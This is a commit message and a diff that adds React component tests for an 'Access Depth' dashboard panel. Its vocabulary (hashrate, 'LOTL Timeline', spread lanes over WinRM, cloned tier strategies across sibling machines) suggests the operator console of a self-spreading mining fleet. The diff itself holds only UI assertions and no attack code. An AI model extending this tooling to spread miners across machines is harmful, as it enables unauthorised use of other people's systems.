Add fleet phenotype cloning for sibling machines.

Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth.

server/web/src/components/Fleet/AccessDepthPanel.test.tsx

@@ -12,6 +12,10 @@ import {
   parseAccessDepthServerPolicy,
 } from '../../help/accessDepth';
 
+vi.mock('../../hooks/useWebSocket', () => ({
+  useWebSocket: () => ({ latestMessage: null }),
+}));
+
 vi.mock('../../api/client', () => ({
   api: {
     getConfig: vi.fn().mockResolvedValue({
@@ -155,6 +159,22 @@ describe('AccessDepthPanel', () => {
     expect(await screen.findByText('WinRM')).toBeInTheDocument();
   });
 
+  it('shows phenotype source when inherited phenotype present', async () => {
+    renderPanel(
+      mockAgent({
+        platform: 'windows',
+        inherited_phenotype: {
+          source_agent_name: 'worker-07',
+          spread_lane: 'winrm',
+          tier_order: ['container', 'wsl', 'cpu_inprocess'],
+        },
+      }),
+    );
+    expect(await screen.findByText(/phenotype cloned from/i)).toBeInTheDocument();
+    expect(screen.getByText('worker-07')).toBeInTheDocument();
+    expect(await screen.findByText('WinRM')).toBeInTheDocument();
+  });
+
   it('renders adaptive strategy reasoning fixtures', () => {
     renderPanel(
       mockAgent({ platform: 'windows', status: 'online' }),
@@ -180,6 +200,13 @@ describe('AccessDepthPanel', () => {
     expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument();
   });
 
+  it('renders clearance badge L0–L4 with tooltip permissions', () => {
+    renderPanel(mockAgent({ clearance_level: 2 }));
+    const badge = screen.getByLabelText(/Clearance L2/i);
+    expect(badge).toHaveTextContent('L2');
+    expect(badge.getAttribute('title')).toMatch(/spread/i);
+  });
+
   it('shows pending chain when tiers not yet attempted', () => {
     renderPanel(
       mockAgent({